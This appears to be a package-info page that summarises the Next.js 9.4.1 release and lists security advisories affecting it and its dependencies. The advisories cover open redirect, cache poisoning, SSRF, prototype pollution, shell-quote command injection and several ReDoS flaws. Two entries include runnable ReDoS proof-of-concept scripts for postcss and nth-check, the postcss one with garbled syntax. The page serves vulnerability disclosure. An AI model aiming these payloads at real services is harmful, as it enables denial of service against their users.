Next.js 9.4.1 represents a minor, yet impactful update over version 9.4.0. Both versions share the same core React framework foundation, offering features like server-side rendering, static generation, and routing, making them ideal for building performant web applications. Examining their dependencies and devDependencies reveals subtle but important shifts.
Key differences lie in updated internal packages. Notably, @next/react-dev-overlay and @next/react-refresh-utils have been bumped from 9.4.0 to 9.4.1, suggesting improvements and bug fixes within the development overlay and React Fast Refresh functionalities, which can lead to a smoother and more efficient development experience. Styled-jsx was updated from version 3.2.5 to 3.3.0
While the underlying dependencies like React, Webpack, and Babel remain largely consistent, the update addresses and polishes the Next.js specific tooling. Other metrics like fileCount and unpackedSize have been slightly impacted by this version.
For developers, this means that upgrading to Next.js 9.4.1 likely brings a more refined development workflow with fewer hiccups during hot reloading and debugging. These incremental updates are crucial for maintaining a stable and efficient development environment, contributing to faster iteration cycles and a more reliable overall experience. Although a minor version bump, developers should appreciate the under-the-hood optimizations that this release provides.
All the vulnerabilities related to the version 9.4.1 of the package
Open Redirect in Next.js
Next.js is an open source website development framework to be used with the React library. In affected versions specially encoded paths could be used when pages/_error.js was statically generated, allowing an open redirect to occur to an external site. In general, this redirect does not directly harm users although it can allow for phishing attacks by redirecting to an attacker's domain from a trusted domain.
10.0.5 and 10.2.011.0.0 and 11.0.1 using pages/_error.js without getInitialProps11.0.0 and 11.0.1 using pages/_error.js and next exportpages/404.jsnext npm package hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.We recommend upgrading to the latest version of Next.js to improve the overall security of your application.
https://github.com/vercel/next.js/releases/tag/v11.1.0
Unexpected server crash in Next.js.
Next.js is a React framework. In versions of Next.js prior to 12.0.5 or 11.1.3, invalid or malformed URLs could lead to a server crash. In order to be affected by this issue, the deployment must use Next.js versions above 11.1.0 and below 12.0.5, Node.js above 15.0.0, and next start or a custom server. Deployments on Vercel are not affected, along with similar environments where invalid requests are filtered before reaching Next.js. Versions 12.0.5 and 11.1.3 contain patches for this issue. Note that prior version 0.9.9 package next hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.
Next.js missing cache-control header may lead to CDN caching empty reply
Next.js before 13.4.20-canary.13 lacks a cache-control header and thus empty prefetch responses may sometimes be cached by a CDN, causing a denial of service to all users requesting the same URL via that CDN. Cloudflare considers these requests cacheable assets.
Next.js Race Condition to Cache Poisoning
Summary
We received a responsible disclosure from Allam Rachid (zhero) for a low-severity race-condition vulnerability in Next.js. This issue only affects the Pages Router under certain misconfigurations, causing normal endpoints to serve pageProps data instead of standard HTML.
Credit
Thank you to Allam Rachid (zhero) for the responsible disclosure. This research was rewarded as part of our bug bounty program.
Next.js Affected by Cache Key Confusion for Image Optimization API Routes
A vulnerability in Next.js Image Optimization has been fixed in v15.4.5 and v14.2.31. When images returned from API routes vary based on request headers (such as Cookie or Authorization), these responses could be incorrectly cached and served to unauthorized users due to a cache key confusion bug.
All users are encouraged to upgrade if they use API routes to serve images that depend on request headers and have image optimization enabled.
More details at Vercel Changelog
Next.js Content Injection Vulnerability for Image Optimization
A vulnerability in Next.js Image Optimization has been fixed in v15.4.5 and v14.2.31. The issue allowed attacker-controlled external image sources to trigger file downloads with arbitrary content and filenames under specific configurations. This behavior could be abused for phishing or malicious file delivery.
All users relying on images.domains or images.remotePatterns are encouraged to upgrade and verify that external image sources are strictly validated.
More details at Vercel Changelog
Next.js Improper Middleware Redirect Handling Leads to SSRF
A vulnerability in Next.js Middleware has been fixed in v14.2.32 and v15.4.7. The issue occurred when request headers were directly passed into NextResponse.next(). In self-hosted applications, this could allow Server-Side Request Forgery (SSRF) if certain sensitive headers from the incoming request were reflected back into the response.
All users implementing custom middleware logic in self-hosted environments are strongly encouraged to upgrade and verify correct usage of the next() function.
More details at Vercel Changelog
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Uncontrolled resource consumption in braces
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
Regular Expression Denial of Service in browserslist
The package browserslist from 4.0.0 and before 4.16.5 are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.
Prototype pollution in webpack loader-utils
Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils prior to version 2.0.3 via the name variable in parseQuery.js.
loader-utils is vulnerable to Regular Expression Denial of Service (ReDoS) via url variable
A Regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils 2.0.0 via the url variable in interpolateName.js. A badly or maliciously formed string could be used to send crafted requests that cause a system to crash or take a disproportional amount of time to process. This issue has been patched in versions 1.4.2, 2.0.4 and 3.2.1.
loader-utils is vulnerable to Regular Expression Denial of Service (ReDoS)
A regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils via the resourcePath variable in interpolateName.js. A badly or maliciously formed string could be used to send crafted requests that cause a system to crash or take a disproportional amount of time to process. This issue has been patched in versions 1.4.2, 2.0.4 and 3.2.1.
Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups
When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the .replace method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to .replace).
Your generated code is vulnerable if all the following conditions are true:
.replace method on a regular expression that contains named capturing groups.replaceIf you are using @babel/preset-env with the targets option, the transform that injects the vulnerable code is automatically enabled if:
You can verify what transforms @babel/preset-env is using by enabling the debug option.
This problem has been fixed in @babel/helpers and @babel/runtime 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on @babel/helpers, and instead you depend on @babel/core (which itself depends on @babel/helpers). Upgrading to @babel/core 7.26.10 is not required, but it guarantees that you are on a new enough @babel/helpers version.
Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.
If you are passing user-provided strings as the second argument of .replace on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring $< if it's then not followed by > (possibly with other characters in between).
This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173.
Prototype pollution in object-path
A prototype pollution vulnerability has been found in object-path <= 0.11.4 affecting the set() method. The vulnerability is limited to the includeInheritedProps mode (if version >= 0.11.0 is used), which has to be explicitly enabled by creating a new instance of object-path and setting the option includeInheritedProps: true, or by using the default withInheritedProps instance. The default operating mode is not affected by the vulnerability if version >= 0.11.0 is used. Any usage of set() in versions < 0.11.0 is vulnerable.
Upgrade to version >= 0.11.5
Don't use the includeInheritedProps: true options or the withInheritedProps instance if using a version >= 0.11.0.
Read more about the prototype pollution vulnerability
If you have any questions or comments about this advisory:
Prototype Pollution in object-path
This affects the package object-path before 0.11.6. A type confusion vulnerability can lead to a bypass of CVE-2020-15256 when the path components used in the path parameter are arrays. In particular, the condition currentPath === '__proto__' returns false if currentPath is ['__proto__']. This is because the === operator returns always false when the type of the operands is different.
Prototype Pollution in object-path
object-path is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). The del() function fails to validate which Object properties it deletes. This allows attackers to modify the prototype of Object, causing the modification of default properties like toString on all objects.
Improper Neutralization of Special Elements used in a Command in Shell-quote
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z] instead of the correct [A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.
Terser insecure use of regular expressions leads to ReDoS
The package terser before 4.8.1, from 5.0.0 and before 5.14.2 are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expressions.
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms